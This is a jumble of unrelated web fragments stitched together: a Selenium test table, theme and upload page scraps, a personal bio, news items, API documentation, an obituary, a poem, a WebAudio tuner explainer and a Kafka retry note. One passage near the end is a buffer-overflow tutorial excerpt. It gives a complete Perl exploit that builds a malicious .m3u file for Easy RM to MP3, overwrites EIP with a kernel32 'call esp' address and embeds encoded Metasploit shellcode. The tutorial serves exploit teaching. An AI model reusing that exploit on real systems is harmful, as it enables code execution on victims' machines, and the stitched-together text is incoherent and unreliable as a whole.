xpath=/html/body/xforms:select1[@ref='helpful']//div[@class='pe-choices']/xforms:item[1]/xforms:label |
|
Clicks on "Not at all helpful (0)" |
| waitForValue |
xpath=/html/body/xforms:select1[@ref='helpful']/pe-value/input |
Not at all helpful (0) |
Checks that the other select1 is bound correctly |
| verifyValue |
xpath=/html/body/xforms:select1[@ref='helpful']/pe-value/input |
Not at all helpful (0) |
Checks that the other select1 is bound correctly |
| click |
xpath=/html/body/xforms:submit[@submission='pollsubmit']/xforms:label |
|
Clicks on submit button |
| pause |
2000 |
|
Waits for the form data page to load |
| verifyText |
xpath=//html/body/pre |
*<helpful>0</helpful>* |
Checks that the form data is shown |


Pick a theme
Standard themes
Made-for-business themes*
*For legal reasons, these are the only "business themes" included.
Seasonal themes
Licensed themes
Developer themes
AKON © Akonik Label Group/BMG/Republic Records
Ben 10 © The Cartoon Network, Inc., A WarnerMedia Company
Blood On The Dance Floor © Dark Fantasy Records
It's Happy Bunny © Jim Benton
Chowder © The Cartoon Network Inc., A WarnerMedia Company
Domo © NHK
SuperRica & Rashy © Dark Horse Comics
Street Fighter © CAPCOM
Star Trek © ViacomCBS
Toon Adventure © The Cartoon Network, Inc., A WarnerMedia Company
Underdog © DreamWorks Classics
Willie Nelson © RCA Records/Atlantic Records/Columbia Records
Zimmer Twins © Lost The Plot Productions, LLC/Zinc Roe


Select a file to upload with no resize
Progress: [[progress]]%
URl's:
[[item.url]]
Get remote file, upload and resize
Progress: [[remoteProgress]]%
[[item.name]]:
Placeholder:
Placholder string: [[remotePlaceholder]]


Retail Store Inventory
Inventory of a Retail Store contains different Product types, different Brands and their Prices.
Add a product
List of products


Hello I'm Seyoung Yoon, but I mainly go by Stacey! I recently graduated with a Bachelor's in Chemistry from UCI. 2020 has been pretty rough so far, but we're all doing our best. I'm hoping to get a career in maybe software development, but I'm not too sure. I took a few Python classes, but I still feel like a beginner when it comes to development. I'm trying to pick up some new hobbies. I've learned how to longboard during this quarantine and I like to run. The thing I'm looking forward to the most when a vaccine comes out is hanging out with my friends, going to concerts, eating out at restaurants, and just going back to enjoying the outdoors. I listen to music 24/7 and would love some recommendations! Some of my favorite artists are Honne, Vansire, Still Woozy, Frank Ocean, Mac Miller, and RiceWine.
Some of my goals for the future is to get a small apartment and live with my future dog. Maybe somewhere close to the city so I can experience its night life to the fullest. I absolutely adore Joshua Tree-- the visible stars, the empty views, that feeling of being so small and vulnerable make me feel more human and humbled sometimes. It's a nice escape.
Last updated 3 mins ago


Malaysia Airlines says codeshare deals subject to partners’ assessments after FAA downgrade
KUALA LUMPUR, Nov 12 — Malaysia Airlines said today its codeshare agreements to fly routes to the United States will stay at existing levels, subject to their partner airlines’ own assessments, after the country’s air safety rating was downgraded by the US aviation authority.
Malaysia Airlines passengers fly to the United States through its partners in the oneworld airline alliance, it said.
The US Federal Aviation Administration (FAA) yesterday downgraded Malaysia’s air safety rating, restricting the country’s airlines from adding new flights to the United States. — Reuters


Constructs and initializes a color object with given arguments of sRGB and alpha.
The color red, normalizes to 0 if it is smaller than 0, 255 if it is bigger than 255.
The color green, normalizes to 0 if it is smaller than 0, 255 if it is bigger than 255.
The color blue, normalizes to 0 if it is smaller than 0, 255 if it is bigger than 255.
The alpha value, normalizes to 0 if it is smaller than 0, 1 if it is bigger than 1.
The alpha value. This is in the range 0.0f - 1.0f, and the default value is 1.
The color blue. In the default sRGB space.
The color green. In the default sRGB space.
The color red. In the default sRGB space.
Creates a new Color object with the same sRGB value as this object.
a clone of this instance
Compare to the other color object.
the object compare with
true if equals
Returns a string representation of this Color object.
a string representation of this Color object
Convert a string to a Color object.
a string present a color, see the spec above for format.
A color object for valid value, otherwise returns undefined.
Create a random color.
Indecate whether include alpha as well.
a random color instance.
Generated using TypeDoc
This class represents an immutable color value. It uses the sRGB (standard Red-Green-Blue) system, along with an alpha value ranging from transparent (0.0f) and opaque (1.0f). Further information about sRGB can be found at http://www.w3.org/pub/WWW/Graphics/Color/sRGB.html.
Static method Color.of can be used to parse a string to a Color object, and it supports 4 types of format:
#RRGGBB[AA]
: R (red), G (green), B (blue), and A (alpha) are hexadecimal characters (0–9, A–F). A is optional. For example,#ff0000
is equivalent to#ff0000ff
.#RGB[A]
: R (red), G (green), B (blue), and A (alpha) are hexadecimal characters (0–9, A–F). A is optional. The three-digit notation (#RGB) is a shorter version of the six-digit form (#RRGGBB). For example, #f09 is the same color as #ff0099. Likewise, the four-digit RGB notation (#RGBA) is a shorter version of the eight-digit form (#RRGGBBAA). For example,#0f38
is the same color as#00ff3388
.const white = Color.of('#fff'); const black = Color.of('#000000ff');
const white1 = Color.WHITE; const white2 = Color.of('white');
const white1 = Color.of('rgb(255, 255, 255)'); const white2 = Color.of('rgba(100%, 255, 255, 1)');


The VertexTriangleAdjacency class computes a vertex-triangle adjacency map from a given index buffer.
More...
The VertexTriangleAdjacency class computes a vertex-triangle adjacency map from a given index buffer.
- Note
- Although it is called VertexTriangleAdjacency, the current version does also support arbitrary polygons.
◆ VertexTriangleAdjacency()
| VertexTriangleAdjacency::VertexTriangleAdjacency |
( |
aiFace * |
pcFaces, |
|
|
unsigned int |
iNumFaces, |
|
|
unsigned int |
iNumVertices = 0 , |
|
|
bool |
bComputeNumTriangles = true |
|
) |
| |
Construction from an existing index buffer.
- Parameters
-
| pcFaces | Index buffer |
| iNumFaces | Number of faces in the buffer |
| iNumVertices | Number of referenced vertices. This value is computed automatically if 0 is specified. |
| bComputeNumTriangles | If you want the class to compute a list containing the number of referenced triangles per vertex per vertex - pass true.
|
◆ ~VertexTriangleAdjacency()
| VertexTriangleAdjacency::~VertexTriangleAdjacency |
( |
| ) |
|
◆ GetAdjacentTriangles()
| unsigned int* Assimp::VertexTriangleAdjacency::GetAdjacentTriangles |
( |
unsigned int |
iVertIndex | ) |
const |
|
inline |
Get all triangles adjacent to a vertex.
- Parameters
-
| iVertIndex | Index of the vertex |
- Returns
- A pointer to the adjacency list.
◆ GetNumTrianglesPtr()
| unsigned int& Assimp::VertexTriangleAdjacency::GetNumTrianglesPtr |
( |
unsigned int |
iVertIndex | ) |
|
|
inline |
Get the number of triangles that are referenced by a vertex.
This function returns a reference that can be modified
- Parameters
-
| iVertIndex | Index of the vertex |
- Returns
- Number of referenced triangles
◆ mAdjacencyTable
| unsigned int* Assimp::VertexTriangleAdjacency::mAdjacencyTable |
◆ mLiveTriangles
| unsigned int* Assimp::VertexTriangleAdjacency::mLiveTriangles |
Table containing the number of referenced triangles per vertex.
◆ mNumVertices
| unsigned int Assimp::VertexTriangleAdjacency::mNumVertices |
Debug: Number of referenced vertices.
◆ mOffsetTable
| unsigned int* Assimp::VertexTriangleAdjacency::mOffsetTable |
The documentation for this class was generated from the following files:


GLAISTER, Jim
Date of death: Monday, November 11th, 2019
Date of birth: Tuesday, June 17th, 1952
Age: 67
Location: Kitchener, Ontario
Family
- Partner: Rose-Aline Hache
- Parents: William and Lila Glaister
- Siblings: Bill (Pam), Linda Owens (Bill)
Visitation: Thursday, November 21st, 2019, from 3-3:45 pm, at the Henry Walser Funeral Home, 507 Frederick Street, Kitchener.
Service: Thursday, November 21st, 2019, in the chapel of the funeral home, at 4 pm. Reception to follow.


--- layout: post title: Untitled date: '2005-11-03T12:00:00-05:00' tags: - '2005' tumblr_url: http://poetry.liabogoev.com/post/49076339385/untitled ---
When my life is not going right,
I immerse myself,
In music,
Like the way I immerse myself,
In tears.
Whether I play it,
Or listen to it,
I let it fill my soul,
Take me to is’ harbor,
It’s haven of safety.
I let the music,
Overtake me,
Wrap me in its soothing tones,
‘Till the black cloud,
Overpasses.
It shelters me,
Through the storm,
That is my tears,
Through the thunder,
That is my sobs,
It waits ‘till the sky clears,
Then releases me,
From its spell.
But sometimes I don’t want to,
I don’t want to leave,
Don’t want to leave
The safety,
Of its arms,
As it holds me to the notes,
That soothe my aching heart.
And I don’t leave.
I stay ‘till I am music,
Comforting lost souls,
Lost souls like myself.


This is a simple tuner built using the WebAudio API. Like tuners in the real world, you can also use it to generate a reference tone so you can tune by ear.
This API is the core of this demo. We use it to perform different tasks, from generating synthetic sounds, to analysing the sound we get, to chanelling the sound to whatever the default audio output device is.
Note: Some of the code snippets below are fragments of the source code of this demo, and as such the initialization of some variables may not appear in them. You can find them in other sections on this page and/or the source code of the demo.
This is the entry point of Web Audio, and responsible of generating all the AudioNode instances we use throughout of this demo.
We start by checking if the browser supports Web Audio by looking at whether window.AudioContext (or its webkit prefixed version) is defined. This also will set window.AudioContext so we can easily instance it later if the browser, in fact, supports it.
In order to generate a synthetic sound to tune by ear we use an OscillatorNode, which we can configure to play at a specific frequency.
The "Base frequency" controls that you see when you enable this part of the tuner adjusts the frequency of A4, which is used as a reference for the rest of the notes. Although all of them can be calculated from A4's frequency, we have pre-calculated them and placed them in a notes.json file that we dynamically load at runtime. After that, it's just a matter of iterating through the array of notes for a particular A4 frequency and set the correct frequency in the oscillator node.
We use this type of node as a source AudioNode with the stream of data we get from the Media Stream API (see below). You should take into account that the sampling frequency used will match the sampling rate that your output device uses (typically 44.1kHz or 48kHz).
This node receives data from the MediaStreamAudioSourceNode and performs a Fast Fourier Transform on those samples. This data is later used by an autocorrelation algorithm to detect the pitch of the sound. For this node we set an fftSize of 2048 (the maximum allowed by the Web Audio API), which although is very tight for such a big sampling rate (we can only fit a tiny fraction of a second in that space) it is the best we can do without downsampling the stream by ourselves.
From this API we only use one specific function to access the audio input device, generally the microphone: getUserMedia. Just like with AudioContext, we whould consider the possibility that the API may be prefixed in some browsers or older versions of them.
There is a variety of methods to detect the pitch of a sound, some work in the frequency domain (like HPS, or Harmonic Product Spectrum), while some others do in the time domain (like Autocorrelation). With such a high sampling rate, we can only fit a small fraction of a second in the buffer used by the AnalyserNode. In these conditions, the latter algorithm usually does a better job than the former, and this is why we chose it for this demo.
Autocorrelation is the process of cross-correlating a signal with a time-delayed version of itself. In other words, we will be comparing a signal at two different points in time. As Wikipedia puts it:
It is a mathematical tool for finding repeating patterns, such as the presence of a periodic signal obscured by noise, or identifying the missing fundamental frequency in a signal implied by its harmonic frequencies.
Given a delay time \(k\) we:
As seen in this page, the resulting formula would be something like this:
\[ R(k) = \frac{1}{t_{max} - t_{min}} \int_{t_{min}}^{t_{max}}s(t)s(t+k)dt \]
In addition, as you can see in the example, we also normalize the data. Since we are working with an array of bytes (0-255), we subtract 128 and divide by the same value.
Remember that we are working with periodic signals. As you may imagine, the highest correlation will happen once that signal "repeats itself", i.e. that \(bestK\) will match the period (in frames) of the fundamental frequency. In order to get that frequency we just need to divide the sampling rate by that distance \(bestK\).
Now that we have the fundamental frequency, we just need to find the note with the closest frequency. Since the notesArray that we showed in previous code snippets is already sorted by this value, we only need to perform a binary search to find it.
The last step, given the fundalmental frequency that we have found and the frequency of the closest note, we need how far the former one is from the latter. This is done using the following formula.
\[ cents = \left \lfloor 1200 \frac{ \log_{10}(f/refF) }{\log_{10}2} \right \rfloor \]
Where \(f\) is the fundamental frequency and \(refF\) is the frequency from the closes note. Since \(\log_{10}2\) is a constant that we can precalculate, we just use it directly in our code.


If a register is loaded with an address that directly points at the shellcode, then you can do a call [reg] to jump directly to the shellcode. In other words, if ESP directly points at the shellcode (so the first byte of ESP is the first byte of your shellcode), then you can overwrite EIP with the address of “call esp”, and the shellcode will be executed. This works with all registers and is quite popular because kernel32.dll contains a lot of call [reg] addresses.
Quick example : assuming that ESP points to the shellcode : First, look for an address that contains the ‘call esp’ opcode. We’ll use findjmp :
findjmp.exe kernel32.dll esp
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C836A08 call esp
0x7C874413 jmp esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses
Next, write the exploit and overwrite EIP with 0x7C836A08.
From the Easy RM to MP3 example in the first part of this tutorial series, we know that we can point ESP at the beginning of our shellcode by adding 4 characters between the place where EIP is overwritten and ESP. A typical exploit would then look like this :
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x7C836A08); #overwrite EIP with call esp
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 25; #start shellcode with some NOPS
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
pwned !


In this scenario, we have two distinct applications (App1 and App2) that simulate two different purpose APIs that "listen" to the same topic (Chat).
Each of the apps has its own consumer group (g1 and g2), so each message produced is sent to both apps at the same time.
The idea of this scenario is to demonstrate a form of retry in which an error message is routed to another topic (Chat.retry. [number]) to be read again. When the message is read by any retry thread, it is republished to the main thread. Each retry topic must have an exponential delay. to avoid bottleneck.
In this example we have 3 attempts, each with a longer delay than the other. If no attempt succeeds process the message then this message should go to the final topic: DLQ (Dead letter queue).
The advantage of this implementation is that retry topics do not need to know any business logic of the main topic, nor have any free access to databases or any external api. These retry APPs only redirect to the main topic.
Below are some reference links for this model:
Steps to simulate retry queues when both apps (App1 and App2) generate errors:


Matt Reeves' The Batman Taps Big Lebowski Star to Play Carmine Falcone
by Jon ArvedonIn a familiar play, The Batman director Matt Reeves has once again employed social media to reveal the newest addition to the cast of his DC film.
"I said... #CarmineFalcone," Reeves tweeted with a GIF of John Turturro from The Big Lebowski, confirming the actor's role in the film.
Carmine "The Roman" Falcone was created by Frank Miller and David Mazzucchelli and debuted in 1986's Batman #404 -- part of the seminal "Year One" storyline. A mob boss a la Salvatore Maroni, Falcone would go on to appear in other such classic Batman tales as The Long Halloween. The character has also had past live-action incarnations on Gotham and in Batman Begins.
Turturro will join a number of other rogues in Reeves' film; In October, it was announced that Zoe Kravitz had been cast as Selina Kyle, aka Catwoman. Then, just days later, we learned that Paul Dano would play Edward Nashton/The Riddler. And finally, it was reported that Colin Farrell was in talks to play Oswald Cobblepot/The Penguin.
Starring Robert Pattinson, The Batman is directed by Matt Reeves, who will also produce alongside Dylan Clark. While casting is still underway, the film is scheduled to be released on June 25, 2021.
https://schema.orgBreadcrumbListListItem1Homehttps://www.cbr.com/ListItem2Movieshttps://www.cbr.com/category/movies/ListItem3Movie Newshttps://www.cbr.com/category/movies/news-movies/ListItem4Matt Reeves' The Batman Taps Big Lebowski Star to Play Carmine Falconehttps://www.cbr.com/matt-reeves-the-batman-john-turturro-carmine-falcone/


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